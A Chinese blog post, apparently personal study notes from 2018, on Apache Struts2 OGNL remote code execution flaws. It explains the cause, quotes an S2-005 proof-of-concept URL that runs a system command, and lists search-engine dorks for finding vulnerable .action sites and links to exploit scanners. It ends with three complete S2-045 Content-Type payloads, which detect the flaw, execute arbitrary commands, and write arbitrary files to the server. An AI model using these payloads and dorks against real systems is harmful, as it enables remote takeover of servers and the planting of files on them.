初探struts2和struts2漏洞成因及检测工具

正文:

个人感觉类似于sql注入,这个是绕过直接执行命令

一.struts2基础知识和漏洞成因

https://www.cnblogs.com/wsygoogol/p/6955725.html   (这个一定要看下)
https://www.cnblogs.com/Fluorescence-tjy/p/5861970.html
https://blog.csdn.net/mirror97black/article/details/78854411
摘上面中的一段话:
上文已经详细介绍了OGNL引擎,因为OGNL过于强大,它也造成了诸多安全问题。恶意攻击者通过构造特定数据带入OGNL表达式即可能被解析并执行,而OGNL可以用来获取和设置Java对象的属性,同时也可以对服务端对象进行修改,所以只要绕过Struts2的一些安全策略,恶意攻击者甚至可以执行系统命令进行系统攻击。如struts2远程代码执行漏洞s2-005。
虽然Struts2出于安全考虑,在SecurityMemberAccess类中通过设置禁止静态方法访问及默认禁止执行静态方法来阻止代码执行。即上面提及的denyMethodExecution为true,MemberAccess为false。但这两个属性都可以被修改从而绕过安全限制执行任意命令。s2-005 POC如下:
http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec(‘ipconfig’)')(\u0023rt\[email]u003d@java.lang.Runt[/email]ime@getRuntime()))=1
在POC中\u0023是因为S2-003对#号进行了过滤,但没有考虑到unicode编码情况,而通过#_memberAccess[\’allowStaticMethodAccess\’]’)(meh)=true,可以设置允许访问静态方法,因为getRuntime方法是静态的,通过context[\’xwork.MethodAccessor.denyMethodExecution\’]=#foo’)(#foo=new%20java.lang.Boolean(“false”)设置拒绝执行方法为false,也就是允许执行静态方法。最后调用rt.exec(‘ipconfig’)执行任意命令。

二.著名RCE漏洞总结

http://www.freebuf.com/vuls/168609.html

三.检测

现在的云技术蛮火的,云检测和云防护也多了起来,暂时没有去了解和收集
1.Seebug 哮天犬
https://www.seebug.org/monster/?checker_id=19

四.利用(网上工具一搜一大堆)

现收集如下:
1、信息收集: 关键字:
inurl:.action?
inurl:.action?id
inurl:.action?mid
inurl:.action?参数名
inurl:index.action
inurl:login.action

工具:

https://www.jb51.net/softs/574358.html(17年,要.net4.0,暂时没有按)
http://www.freebuf.com/sectool/108896.html(16年)(资源没有了。。。)
http://ju.outofmemory.cn/entry/259010(16年)
推荐:
https://www.cesafe.com/3486.html(github的开源项目,紧跟步伐,刚更新了前几天的057,作者项目地址:https://github.com/Lucifer1993/struts-scan)

五.利用实例

http://ju.outofmemory.cn/entry/259010
可以自己搭建个环境,前面刚好写了docker的安装

六.补充(等学习了语言,再来分析,暂时记录在此)

相关exp:

S2-045:
1、验证漏洞,修改Content-Type,返回内容为“webpath”代表存在漏洞。
%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).
(#res=@org.apache.struts2.ServletActionContext@getResponse()).
(#res.setContentType('text/html;charset=UTF-8')).(#res.getWriter().print('web')).
(#res.getWriter().print('path')).(#res.getWriter().flush()).(#res.getWriter().close())}
2、执行命令
%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).
(#res=@org.apache.struts2.ServletActionContext@getResponse()).
(#res.setContentType('text/html;charset=UTF-8')).(#s=new java.util.Scanner((new
java.lang.ProcessBuilder('[cmd]'.toString().split('s'))).start().getInputStream()).useDelimiter('AAAA')).
(#str=#s.hasNext()?#s.next():'').(#res.getWriter().print(#str)).(#res.getWriter().flush()).
(#res.getWriter().close()).(#s.close())}
3、上传文件:
%{(#test='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#_memberAccess?(#_memberAccess=#dm):
((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
(#context.setMemberAccess(#dm)))).(#req=@org.apache.struts2.ServletActionContext@getRequest()).
(#res=@org.apache.struts2.ServletActionContext@getResponse()).
(#res.setContentType('text/html;charset=UTF-8')).(new java.io.BufferedWriter(new
java.io.FileWriter([path])).append(#req.getHeader('test')).close()).(#res.getWriter().print('oko')).
(#res.getWriter().print('kok/')).(#res.getWriter().print(#req.getContextPath())).(#res.getWriter().flush()).
(#res.getWriter().close())}

 
2018.8.25

发表评论

电子邮件地址不会被公开。 必填项已用*标注